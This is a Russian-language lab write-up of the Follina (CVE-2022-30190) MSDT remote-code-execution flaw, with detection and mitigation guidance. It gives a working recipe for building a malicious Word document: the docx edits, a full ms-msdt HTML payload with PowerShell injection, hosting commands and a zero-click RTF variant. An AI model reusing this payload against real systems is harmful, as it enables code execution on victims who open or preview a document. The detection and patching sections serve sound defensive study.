muhammad-ali007/follina_msdt_cve-2022-30190Образовательный эксплойт для CVE-2022-30190 (Follina), демонстрирующий удаленное выполнение кода через MSDT с помощью вредоносных документов Office, с рекомендациями по обнаружению и смягчению последствий.
Microsoft объясняет, что «уязвимость удаленного выполнения кода существует, когда MSDT вызывается с использованием протокола URL из вызывающего приложения, такого как Word. Злоумышленник, успешно использующий эту уязвимость, может запускать произвольный код с привилегиями вызывающего приложения. Затем злоумышленник может устанавливать программы, просматривать, изменять или удалять данные, или создавать новые учетные записи в контексте, разрешенном правами пользователя». (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Microsoft заявляет, что «Средство диагностики поддержки Microsoft (MSDT) собирает информацию для отправки в службу поддержки Microsoft. Они проанализируют эту информацию и используют ее для определения решения любых проблем, с которыми вы можете столкнуться на своем компьютере». Учитывая это, это, по сути, способ для службы поддержки Microsoft немедленно увидеть, что не так, поскольку они получают всю необходимую информацию прямо из источника.
Начнем с дисклеймера: для наших целей мы будем загружать нашу полезную нагрузку через документ Word, в частности, в формате .docx – это оригинальный эксплойт, который был обнаружен в дикой природе. Однако эта уязвимость, как было доказано, работает и с другими продуктами Office.
Два важных аспекта этой уязвимости:
Объединив два вышеуказанных аспекта, можно использовать схему MS-MSDT HTML для выполнения кода PowerShell, а файл docx можно использовать для его загрузки через возможность внешних ссылок Word.
Если углубиться в структуру docx, файл "word/_rels/document.xml.rels" содержит XML-тег с атрибутом Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject", который описывает внешнюю ссылку OLE. Чтобы использовать эту возможность docx, мы можем изменить содержимое этого тега, указав вместо него на полезную нагрузку, которую мы размещаем, изменив значение Target на http://<внешний_сервер_полезной_нагрузки.com>/<полезная_нагрузка.html>, а значение TargetMode на "External".
В файле word/document.xml есть XML-тег, начинающийся с <o:OLEObject...>, в котором мы должны изменить значение Type на "Link", а затем добавить пару "ключ-значение" атрибута UpdateMode="OnCall".
Единственное, что осталось сделать, это разместить полезную нагрузку, к которой будет подключаться файл Word и от которой будет получать инструкции при открытии файла. Это делается путем создания HTML-файла со структурой, подобной следующей:
<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA должно повторяться >60 раз
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
В содержимом HTML-файла выше вы заметите команду ms-msdt:/id PCWDiagnostic /skip force /param, а также переключатели команд, которые можно использовать для задания команды, которую вы хотите выполнить на целевой машине. Затем вы можете комбинировать полезную нагрузку под свои цели.
Таким образом, теперь у нас есть способ добиться удаленного выполнения кода без использования макросов, и, как мы увидим позже, даже без открытия вредоносного документа.
Джон Хаммонд создал инструмент для автоматизации процесса создания вредоносного документа (maldoc) и, соответственно, размещения вредоносного HTML-файла, содержащего вредоносную команду. Инструмент описан по ссылке выше, и мы будем использовать его форк, чтобы лучше понять концепцию эксплойта, упомянутую ранее.
Откройте терминал, клонируйте этот репозиторий и перейдите в рабочий каталог, куда был клонирован репозиторий msdt-follina.
root@host:~/Follina-MSDT# python3 follina.py
После запуска эксплойта файл уже должен быть размещен, поэтому он готов к «доставке» на машину жертвы. Не закрывая исходный терминал, откройте еще один терминал и введите следующую команду для размещения файлов на сервере:
root@host:~/Follina-MSDT# python -m http.server 3456
На целевой машине откройте командную строку и введите следующую команду:
C:\Users\user> cd Desktop
C:\Users\user\Desktop> curl http://[IP_атакующей_машины]:3456/follina.doc -o follina.docx
Это загружает maldoc на нашу машину, и вскоре после этого на рабочем столе должен появиться файл Word с именем follina.docx, готовый к запуску. Когда будете готовы, откройте файл и посмотрите, что произойдет. Пока что давайте оставим maldoc и все, что он породил, работать.
Чтобы воспроизвести реализацию «zero click» этой уязвимости, мы просто переходим к вредоносному файлу Word, добавляем симпатичное сообщение (совершенно необязательно), сохраняем его в формате Rich Text Format (RTF), и все готово. Эта реализация предполагает, что машина жертвы находится в режиме предварительного просмотра (preview pane), иначе она вернется к исходной функциональности, которая все равно будет запущена при открытии файла.
Откройте проводник файлов и перейдите в папку «Рабочий стол». Там вы увидите, казалось бы, честный файл, который мы создали, требующий нажатия. Щелкните по нему один раз, стараясь не открывать его на самом деле, и посмотрите, что произойдет.
Несмотря на то, что файл не был открыт, эксплойт сработал так же, как и ранее в этом упражнении. Это произошло из-за двух ключевых особенностей:
Объединение этих двух функций и их злоупотребление приводит к вектору атаки, который мы только что наблюдали.
Машина Windows, которую мы использовали для изучения эксплуатации уязвимости, была предварительно настроена с включенным журналированием для:
Эти механизмы аудита не настроены по умолчанию, и поэтому крайне важно включить их в ваших собственных средах, чтобы помочь в обнаружении подозрительного поведения и сохранить ценные данные для судебных экспертов.
В ходе предыдущего процесса мы выявили ряд интересных созданий процессов при эксплуатации уязвимости. Эти создания процессов регистрируются в журналах безопасности Windows и готовы к анализу с помощью вашего любимого средства просмотра или пересылке в централизованный сборщик журналов для последующей обработки и использования.
Для этой задачи мы будем использовать Event Log Viewer для Windows от Nirsoft, чтобы просмотреть создания процессов, которые мы выявили ранее. Затем мы найдем детали в этих созданиях процессов, которые можно использовать для поиска улик в других журналах событий, чтобы лучше объяснить, что произошло за кулисами.
Откройте FullEventLogView. Перейдите в View > Use Quick Filter. Строка поиска должна появиться вверху журналов, что позволит нам выполнять быстрый поиск. Поскольку мы хотели проверить детали наших созданий процессов, мы можем нажать на крайнее левое выпадающее меню и выбрать Find Event ID (space/comma...), затем ввести 4688 в строку поиска.
Экран должен заполниться событиями создания процессов, и вы сразу заметите, что их огромное количество, несмотря на минимальное взаимодействие с машиной.
Первый артефакт, который мы проверим, это winword.exe - понимание потока событий из этого процесса дает нам представление о том, как офисный процесс в целом будет вести себя в контексте эксплуатации MSDT. Нажмите Ctrl+F, чтобы вызвать функцию поиска, и введите winword.
Первая запись, которую вы, вероятно, увидите, будет той, где WINWORD.EXE является новым создаваемым процессом, идентифицируемым деталью: New Process Name. Этот процесс отмечает открытие файла follina.docx, что подтверждается деталью: Process Command Line. Совершенно нормально, если он выглядит не совсем так. Нажимайте кнопку Find Next, пока не найдете запись, которая выглядит как длинная команда "ms-msdt" (powershell).
Здесь мы увидим, что WINWORD.EXE является Creator Process, более известным как родительский процесс msdt.exe. Обратите внимание на длинную запись командной строки, содержащую несколько командлетов PowerShell (произносится как command-lets), а также несколько обходов каталогов. Увидев это само по себе в вашей среде, следует немедленно поднять красные флаги. Один бесплатный намек, который мы можем внимательно изучить здесь, — это строка Y2FsYw==, которая при декодировании дает строку calc.
Поскольку мы увидели командлеты PowerShell, имеет смысл отфильтровать события PowerShell, чтобы дополнительно проверить эту зацепку. Поскольку существует много уникальных идентификаторов событий, которые регистрируют события PowerShell, мы можем отфильтровать по Provider. Перейдите в Options > Advanced Options. Нажмите на второе выпадающее меню и выберите Show only the specific providers (comma-delimited...). Введите PowerShell, заключенное в подстановочные знаки (*), чтобы все провайдеры, связанные с PowerShell, были включены.
Очистите поле "Quick Filter" от введенного ранее 4688, и экран должен заполниться событиями, которые исключительно поступают от провайдеров PowerShell. Отсюда мы можем отфильтровать события по части команды PowerShell, отмеченной выше.
Дойдя до этого события, мы можем закрыть функцию поиска и затем проследить за этим текстом Scriptblock; вы можете перейти к следующему событию, нажав клавишу «вниз» на клавиатуре или вручную щелкнув событие. Изучение ближайших событий, следующих за этим текстом Scriptblock, покажет пошаговое выполнение calc с точки зрения PowerShell.
Инженер по обнаружению угроз Huntress Мэттью Бреннан создал правило Sigma для обнаружения подозрительных выполнений MSDT в среде, и лучше всего то, что оно постоянно обновляется, когда сообщество замечает что-то новое.
Правило Sigma можно найти здесь (https://gist.github.com/matthewB-huntress/14ab9d309f25a05fc9305a8e7f351089)
Uncoder.IO (https://uncoder.io/) — это удобный инструмент, который помогает преобразовывать правила Sigma в запросы, которые можно немедленно использовать в SIEM по вашему выбору.
При поиске эксплойтов MSDT в среде вы можете использовать правило Sigma как механизм обнаружения для обоих вариантов:
MSDT также использует другой бинарный файл (https://twitter.com/KyleHanslovan/status/1531114931973767168) для передачи выполнений, поэтому подозрительные дочерние процессы с ним в качестве родительского должны быть отмечены и дополнительно исследованы. «Отредактированная» информация выше является ответом на вопрос из предыдущего задания — проверьте на свой страх и риск.
Обнаружение Follina: удаленное выполнение кода в Microsoft Office «нулевого дня» (https://www.logpoint.com/en/blog/detecting-follina-microsoft-office-remote-code-execution-zero-day/)
Ряд продуктов Microsoft Defender имеют механизмы обнаружения, и наш надежный Центр реагирования на угрозы Microsoft (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/) предоставляет нам их список.
Патч для этой уязвимости включен в накопительные обновления Windows за июнь 2022 года. Крайне важно, чтобы пользователи установили эти обновления для защиты от уязвимости. Вы можете делать это вручную время от времени, что не очень эффективно и может быть забыто, или вы можете автоматизировать проверку и установку обновлений.
До того, как был выпущен патч, группы безопасности лихорадочно поручили ИТ-администраторам своих организаций немедленно отключить протокол MSDT URL. Отключив протокол MSDT URL, средства устранения неполадок не будут запускаться по ссылкам, и, следовательно, ms-msdt не сможет быть вызван Office. Чтобы отключить протокол, сначала запустите командную строку от имени администратора.
C:\Users\Administrator> reg query HKEY_CLASSES_ROOT\ms-msdt
C:\Users\Administrator> reg export HKEY_CLASSES_ROOT\ms-msdt ms-msdt_backup
C:\Users\Administrator\Desktop> reg delete HKEY_CLASSES_ROOT\ms-msdt /f
C:\Users\Administrator\Desktop> reg query HKEY_CLASSES_ROOT\ms-msdt
К этому моменту вы, должно быть, заметили, что мы постоянно меняем наш рабочий каталог на «Рабочий стол» — это для того, чтобы мы могли сразу видеть изменения, которые наши команды вносят в среду: создание файлов довольно заметно. Однако это ни в коем случае не является лучшей практикой для любой среды.
Первая команда reg query, которую мы ввели, — это быстрая проверка того, что ключ существует. За ней следует reg export, который экспортирует наш ключ в файл, чтобы мы могли позже интегрировать его обратно в систему, когда Microsoft выпустит более постоянное исправление этой уязвимости. Экспортированный файл сохраняется в текущем рабочем каталоге — в нашем случае на рабочем столе. Команда reg delete — это команда, которая фактически отключает протокол MSDT URL, в основном потому, что она полностью удаляет его из системы. Последняя команда reg query — это подтверждающая проверка того, что ключ больше не существует.
После отключения протокола MSDT URL на нашей машине Windows давайте попробуем снова запустить эксплойт и посмотрим, как это повлияет на машину. Это хороший способ проверить, смогут ли наши средства контроля перехватить атаки, независимо от того, будут ли они успешными.
Если вы используете Microsoft Defender для конечных точек в своей среде, включите правило ASR «Блокировать все приложения Office от создания дочерних процессов». Создание дочерних процессов из служб, которые не должны этого делать, является распространенной темой среди вредоносных программ. Дополнительное чтение: (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Наконец, несколько процессов устранения, которые одновременно являются простыми и легко развертываемыми, были выбраны в качестве способа закрытия этой темы. Microsoft уже выпустила патч, который блокирует внедрение PowerShell, фактически отключая этот вектор атаки.